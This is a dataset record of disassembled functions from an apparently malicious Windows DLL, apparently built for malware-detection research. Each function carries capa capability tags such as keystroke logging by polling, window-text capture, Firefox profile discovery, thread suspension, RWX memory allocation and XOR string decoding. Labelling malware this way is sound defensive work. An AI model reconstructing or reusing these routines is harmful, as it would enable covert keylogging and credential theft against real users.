joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004486
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x107]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 0x108], bl
call fcn.1000a6a0
mov ecx, dword [0x1001e504]
add esp, 0xc
cmp ecx, ebx
je 0x100045c9
mov eax, dword [0x1001e50c]
cmp eax, ebx
je 0x100045c9
mov byte [eax + ecx], bl
mov eax, dword [0x1001e500]
cmp eax, ebx
je 0x100044ed
push 0x100
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
call fcn.1000c5c0
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x100045bd
push dword [0x1002276c]
push eax
call fcn.1000c630
push dword [0x10022c30]
push dword [ebp - 4]
call fcn.1000c6b0
push dword [0x100223d0]
push dword [ebp - 4]
call fcn.1000c6b0
push dword [0x10022a84]
push dword [ebp - 4]
call fcn.1000c6b0
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 4]
call fcn.1000c6b0
push dword [0x10022dac]
push dword [ebp - 4]
call fcn.1000c6b0
add esp, 0x30
call fcn.100043cd
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x10004581
push eax
push dword [ebp - 4]
call fcn.1000c6b0
pop ecx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 8]
push eax
call fcn.1000a8d0
pop ecx
pop ecx
jmp 0x100045a4
push dword [0x1001e504]
push dword [ebp - 4]
call fcn.1000c6b0
push dword [0x1001e50c]
push ebx
push dword [0x1001e504]
call fcn.1000a6a0
add esp, 0x14
push 0x10012550
push dword [ebp - 4]
call fcn.1000c6b0
lea eax, [ebp - 4]
push eax
call fcn.1000c980
add esp, 0xc
mov dword [0x1001e508], ebx
mov dword [0x1001e50c], ebx
pop ebx
leave
ret

Function at 0x100046a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push edi
movzx edi, word [esi + 0xc]
push 0x1001e4f8
call fcn.1000bbec
pop ecx
push dword [0x10022824]
push dword [0x10022b88]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov dword [0x1001e500], eax
mov eax, dword [esi + 8]
cmp eax, 0xd
jne 0x100046f4
call fcn.10004486
jmp 0x10004750
and dword [ebp - 4], 0
push edi
push eax
call fcn.100045cc
pop ecx
pop ecx
test eax, eax
jne 0x10004750
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
movsx eax, word [esi + 0xe]
and eax, 0xff
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_ToAscii]
mov al, byte [ebp - 4]
mov byte [ebp + 0xb], al
test al, al
je 0x10004750
test edi, edi
je 0x10004750
lea eax, [ebp + 0xb]
push 1
push eax
call fcn.100042fd
dec edi
pop ecx
pop ecx
jne 0x10004740
pop edi
pop esi
leave
ret
Function at 0x100049f2
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x1002257c]
push esi
xor esi, esi
jmp 0x10004a03
cmp dword [eax + 4], esi
jne 0x10004a4e
mov eax, dword [eax]
cmp eax, esi
jne 0x100049fc
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
je 0x10004a4e
lea ecx, [eax + 0x20]
mov edx, ecx
mov dword [eax + 4], esi
mov dword [eax + 8], esi
sub edx, eax
mov esi, dword [eax + 4]
mov dword [ecx], esi
mov dword [eax + 4], ecx
add edx, 0x20
add ecx, 0x20
cmp edx, 0xfe0
jbe 0x10004a2b
mov ecx, dword [0x1002257c]
mov dword [eax], ecx
mov dword [0x1002257c], eax
pop esi
ret

Function at 0x100051cc
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 4
call dword [0x100226d0]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x10005294
push ebx
push 0x1c
pop ebx
lea ecx, [ebp - 0x20]
push ecx
push eax
mov dword [ebp - 0x20], ebx
call sub.KERNEL32.dll_Thread32First
jmp 0x10005282
cmp dword [ebp - 0x20], 0x10
jb 0x10005273
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10005273
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10005273
mov ecx, dword [esi]
test ecx, ecx
jne 0x10005241
push 0x200
push ecx
mov dword [esi + 4], 0x80
push dword [0x1001e524]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x1000528a
jmp 0x10005265
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10005265
shl eax, 3
push eax
push ecx
push 0
push dword [0x1001e524]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1000528a
shl dword [esi + 4], 1
mov dword [esi], eax
mov eax, dword [esi + 8]
mov ecx, dword [esi]
mov edx, dword [ebp - 0x18]
mov dword [ecx + eax*4], edx
inc dword [esi + 8]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x20], ebx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x100051fe
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
leave
ret

Function at 0x10005296
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
push edi
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
call fcn.100051cc
cmp dword [esi], edi
je 0x100052f3
push ebx
xor ebx, ebx
cmp dword [esi + 8], edi
jbe 0x100052f2
jmp 0x100052bc
xor edi, edi
mov eax, dword [esi]
push dword [eax + ebx*4]
push edi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x100052ec
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
call fcn.10005108
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x100052ba
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x100052f7
Capabilities:
Resume thread

Disassembly:
push edi
xor edi, edi
cmp dword [esi], edi
je 0x1000533e
cmp dword [esi + 8], edi
jbe 0x1000532e
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10005327
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x10005304
pop ebx
push dword [esi]
push 0
push dword [0x1001e524]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
ret

Function at 0x10005a34
Capabilities:
Check if file exists
Get common file path
Get file attributes
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8b4
push ebx
push esi
push edi
push 8
pop ecx
lea eax, [ebp - 0x29c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
mov esi, str.MozillaFirefox
lea edi, [ebp - 0x94]
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x10005bae
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x29c]
push eax
push eax
call fcn.1000ccfa
add esp, 0xc
test eax, eax
je 0x10005bae
push 6
pop ecx
mov esi, str.profiles.ini
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x6ac]
push eax
movsw word es:[edi], word [esi]
call fcn.1000ccfa
add esp, 0xc
test eax, eax
je 0x10005bae
lea eax, [ebp - 0x6ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10005bae
push 5
pop ecx
mov esi, str.IsRelative
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str.Path
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp - 1], bl
movzx eax, byte [ebp - 1]
push eax
push str.Profile_u
lea eax, [ebp - 0x20]
push 0xf
push eax
call fcn.1000ba86
push 0x20
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1000adfe
add esp, 0x1c
lea eax, [ebp - 0x6ac]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005bae
lea eax, [ebp - 0x6ac]
push eax
push 0x104
lea eax, [ebp - 0x4a4]
push eax
push ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x10005ba1
lea eax, [ebp - 0x4a4]
push eax
call fcn.1000cd2b
pop ecx
lea eax, [ebp - 0x4a4]
cmp esi, 1
jne 0x10005b94
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x8b4]
push eax
call fcn.1000ccfa
add esp, 0xc
test eax, eax
je 0x10005ba1
lea eax, [ebp - 0x8b4]
push dword [ebp + 0xc]
push eax
call dword [ebp + 8]
pop ecx
pop ecx
test eax, eax
je 0x10005bae
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xfa
jb 0x10005af0
pop edi
pop esi
mov dword [0x1001e534], 1
pop ebx
leave
ret
Function at 0x10006be0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push dword [0x100222c4]
lea eax, [ebp - 0x38]
push dword [0x100223d0]
push eax
call fcn.1000d31e
lea eax, [ebp - 0x10]
push eax
call fcn.1000d1f3
add esp, 0x10
xor esi, esi
test eax, eax
lea eax, [ebp - 0x38]
push eax
push esi
push esi
jns 0x10006c17
push esi
jmp 0x10006c1b
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1001e548], eax
cmp eax, esi
jne 0x10006c2e
xor eax, eax
jmp 0x10006c83
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10006c64
push dword [0x1001e548]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x10006c59
push dword [0x1001e548]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10006c2a
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x10006b87
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1001e53c], eax
cmp eax, esi
je 0x10006c4b
xor eax, eax
inc eax
pop esi
leave
ret

Function at 0x10006ca5
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [0x1001e54c], ebx
jne 0x10006dc3
mov esi, dword [ebp + 0x10]
cmp dword [esi + 0x1f7], 0xe291a0f3
je 0x10006cd4
xor eax, eax
jmp 0x10006e2b
call fcn.1000a880
push 1
call fcn.1000b612
pop ecx
test eax, eax
js 0x10006ccd
push 1
xor edi, edi
push edi
push esi
push ebx
call fcn.1000d672
add esi, 0x1cf
push esi
call fcn.10006c89
add esp, 0x14
test eax, eax
je 0x10006ccd
push dword [0x10022ae0]
push dword [0x100223d0]
call fcn.1000ace9
pop ecx
pop ecx
test eax, eax
jne 0x10006ccd
call fcn.10006be0
test eax, eax
je 0x10006ccd
call fcn.1000aff0
call fcn.1000c470
push 0x1001e538
push edi
push 0x3b
push dword [0x10022d60]
call fcn.1000aea3
mov dword [0x1001e540], eax
call fcn.10002ae4
push dword [0x100223d0]
call fcn.10006c86
add esp, 0x14
test eax, eax
je 0x10006d64
call fcn.10002c0a
jmp 0x10006dba
call fcn.100042c1
call fcn.10003841
call fcn.10009dc3
call fcn.10001075
call fcn.10007496
call fcn.1000278d
call fcn.10009e8e
call fcn.10003062
call fcn.100071a2
call fcn.10002c0a
call fcn.10002bec
call fcn.10002bfb
call fcn.10002e40
push edi
call fcn.10002c28
pop ecx
call fcn.10006e32
test eax, eax
je 0x10006dba
call fcn.10002c19
push edi
call fcn.10002b2f
pop ecx
jmp 0x10006e28
xor edi, edi
cmp dword [ebp + 0xc], edi
jne 0x10006e28
call fcn.10002b37
call fcn.10007da4
call fcn.100042e3
push 1
call fcn.1000b590
call fcn.10001529
call fcn.100027b5
call fcn.1000c25f
call fcn.100030bb
mov dword [esp], 0x1001e538
push 0x1001e540
call fcn.1000af80
pop ecx
pop ecx
cmp dword [0x1001cedc], edi
je 0x10006e1c
push edi
push dword [0x1001e53c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [0x1001e544]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x10007063
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x1001e574], 0
jne 0x10007073
xor eax, eax
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [ebp + 0xc]
je 0x1000706f
cmp dword [ebp + 0x10], 0
jne 0x1000708d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10006fb3
cmp dword [ebp + 0x10], 0
pop ecx
pop ecx
mov esi, eax
jne 0x100070ac
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x100070b1
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push edi
xor ebx, ebx
xor edi, edi
cmp dword [0x1001e574], ebx
jne 0x100070cb
xor eax, eax
pop edi
pop ebx
leave
ret
mov eax, dword [0x100222c4]
push ebx
push 4
mov dword [ebp - 8], eax
call dword [0x100226d0]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x10007101
push 0x5a
pop eax
mov word [ebp - 0x18], ax
xor eax, eax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x100070c5
push esi
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x34], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x10007127
xor esi, esi
push dword [ebp - 4]
call dword [0x10022670]
mov eax, esi
pop esi
jmp 0x100070c7
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x28], eax
jne 0x1000718b
push dword [ebp - 0x2c]
push ebx
push 0x4a
call dword [0x10022648]
mov esi, eax
cmp esi, ebx
je 0x1000718b
push ebx
push dword [ebp - 0x2c]
push esi
call fcn.10007063
add esp, 0xc
test eax, eax
je 0x10007184
push esi
cmp dword [ebp + 8], ebx
je 0x1000717b
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x5a
pop eax
mov word [ebp - 0x18], ax
xor eax, eax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x10007181
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor edi, edi
inc edi
push esi
call dword [0x10022670]
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10007127
mov esi, edi
jmp 0x10007119

Function at 0x1000741f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push 0xa
push dword [0x10022cc4]
push dword [0x1001e54c]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x1000743c
pop esi
ret
push edi
push esi
push dword [0x1001e54c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push dword [0x1001e54c]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000746b
push 4
push 0
push edi
push eax
call fcn.1000df05
add esp, 0x10
pop edi
pop esi
ret
Function at 0x100074b2
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
push esi
push edi
xor edi, edi
xor esi, esi
inc edi
push 0x1632
mov dword [0x1001e580], edi
mov dword [0x100210b8], esi
mov dword [ebp - 4], esi
call fcn.1000b73d
pop ecx
push 0x1f
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1000754f
push 0x900
mov dword [ebp - 0xc], esi
call fcn.1000b73d
push esi
push eax
push 0x100221c0
mov dword [ebp - 0xc], eax
push 0x104
lea eax, [ebp - 0x278]
push eax
push 0x10012768
call fcn.1000ae18
lea eax, [ebp - 0xc]
push eax
call fcn.1000b7e4
lea eax, [ebp - 0x278]
push eax
call fcn.1000cd66
add esp, 0x24
test eax, eax
jne 0x1000754f
lea eax, [ebp - 4]
push eax
mov dword [0x1001e584], edi
call fcn.1000b7e4
xor eax, eax
jmp 0x100076b3
lea eax, [ebp - 4]
push eax
call fcn.1000b7e4
pop ecx
call fcn.1000b020
test eax, eax
jne 0x1000756f
push 0x10021184
push esi
call fcn.1000b530
pop ecx
pop ecx
push 0x14
call fcn.1000b390
pop ecx
cmp eax, esi
je 0x10007587
cmp byte [eax], 0x31
jne 0x10007587
xor eax, eax
jmp 0x100076b4
push 0x3a98
push esi
call fcn.1000a839
pop ecx
pop ecx
mov dword [0x1001e57c], eax
cmp eax, esi
je 0x10007580
mov eax, dword [0x1001cf80]
imul eax, eax, 0xfc40
push eax
call fcn.1000a8a0
pop ecx
mov dword [0x1001e578], eax
cmp eax, esi
jne 0x100075c0
mov dword [0x1001cf80], esi
jmp 0x10007580
call fcn.1000741f
mov dword [ebp - 8], eax
cmp eax, esi
je 0x100075df
push eax
call fcn.10008482
lea eax, [ebp - 8]
push esi
push eax
call fcn.1000e0ad
add esp, 0xc
push ebx
mov dword [ebp - 4], edi
mov ebx, 0x100213b4
push dword [ebp - 4]
lea edi, [ebp - 0x6c]
call fcn.100073cf
push esi
mov eax, edi
push eax
push ebx
push 0x104
lea eax, [ebp - 0x170]
push eax
push 0x10012768
call fcn.1000ae18
push esi
push 0x10021184
lea eax, [ebp - 0x170]
push 1
push eax
call fcn.1000df6a
add esp, 0x2c
mov dword [ebp - 8], eax
cmp eax, esi
je 0x1000763f
push eax
call fcn.10008482
lea eax, [ebp - 8]
push esi
push eax
call fcn.1000e0ad
add esp, 0xc
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jbe 0x100075e8
push 0x3e9
call fcn.1000b73d
push esi
push eax
push ebx
mov dword [ebp - 0xc], eax
push 0x104
lea eax, [ebp - 0x170]
push eax
push 0x10012768
call fcn.1000ae18
lea eax, [ebp - 0xc]
push eax
call fcn.1000b7e4
push esi
push esi
lea eax, [ebp - 0x170]
push 1
push eax
call fcn.1000df6a
add esp, 0x30
mov dword [ebp - 8], eax
pop ebx
cmp eax, esi
je 0x100076a5
push eax
call fcn.10008482
lea eax, [ebp - 8]
push esi
push eax
call fcn.1000e0ad
add esp, 0xc
push dword [0x1001e57c]
call fcn.1000a824
xor eax, eax
inc eax
pop ecx
pop edi
pop esi
leave
ret

Function at 0x1000a7ca
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
jne 0x1000a7e5
xor eax, eax
jmp 0x1000a7fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000a7fb
push esi
call dword [0x10022670]
jmp 0x1000a7e1
mov eax, esi
pop esi
pop ebp
ret
Function at 0x1000a839
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x1000a877
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000a875
push dword [ebp + 0xc]
push esi
call fcn.1000a800
pop ecx
pop ecx
test eax, eax
jns 0x1000a875
push esi
call dword [0x10022670]
xor esi, esi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x1000b73d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10021024]
and dword [ebp - 4], 0
test eax, eax
jne 0x1000b76f
push 0x1830
push 0x100151b0
call fcn.1000a940
pop ecx
pop ecx
mov dword [0x10021024], eax
test eax, eax
jne 0x1000b76f
mov eax, 0x1002102c
leave
ret
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, 0x182f
mov ecx, ebx
cmp ebx, esi
jae 0x1000b79b
mov edx, ecx
and edx, 0x3f
mov dl, byte [edx + 0x1001cf88]
xor dl, byte [eax + ecx]
je 0x1000b796
inc ecx
cmp ecx, esi
jb 0x1000b77f
jmp 0x1000b79b
sub ecx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.1000a8a0
pop ecx
test eax, eax
jne 0x1000b7b1
mov eax, 0x1002102c
jmp 0x1000b7e0
xor edx, edx
cmp dword [ebp - 4], edx
jbe 0x1000b7e0
mov esi, dword [0x10021024]
push edi
mov edi, ebx
sub edi, eax
add esi, ebx
lea ecx, [eax + edx]
lea ebx, [edi + ecx]
and ebx, 0x3f
mov bl, byte [ebx + 0x1001cf88]
xor bl, byte [esi + edx]
inc edx
mov byte [ecx], bl
cmp edx, dword [ebp - 4]
jb 0x1000b7c5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b961
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], 2
mov dword [ebp - 0x14], ebx
call fcn.1000b927
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, ebx
jne 0x1000b996
xor eax, eax
jmp 0x1000ba4c
push ebx
push ebx
push 3
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x1000ba2d
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x5a
pop eax
mov word [ebp - 0x24], ax
xor eax, eax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
call esi
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x1000b9fc
push 0x5a
pop eax
mov word [ebp - 0x24], ax
xor eax, eax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
call esi
jmp 0x1000ba2c
push ebx
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 4]
add ecx, 8
push ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x1000ba2c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [ebp - 8], 1
pop esi
cmp dword [ebp - 4], ebx
je 0x1000ba3b
push dword [ebp - 4]
call dword [0x10022670]
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
call fcn.1000a8d0
mov eax, dword [ebp - 8]
pop ecx
pop ecx
pop edi
pop ebx
leave
ret

Function at 0x1000bc28
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
mov dword [eax], ecx
mov dword [eax + 0x9c0], 1
push edi
mov edx, dword [eax + 0x9c0]
lea ecx, [eax + edx*4]
mov esi, dword [ecx - 4]
mov edi, esi
shr edi, 0x1e
xor edi, esi
imul edi, edi, 0x6c078965
add edi, edx
mov dword [ecx], edi
inc dword [eax + 0x9c0]
cmp dword [eax + 0x9c0], 0x270
jl 0x1000bc3f
pop edi
pop esi
pop ebp
ret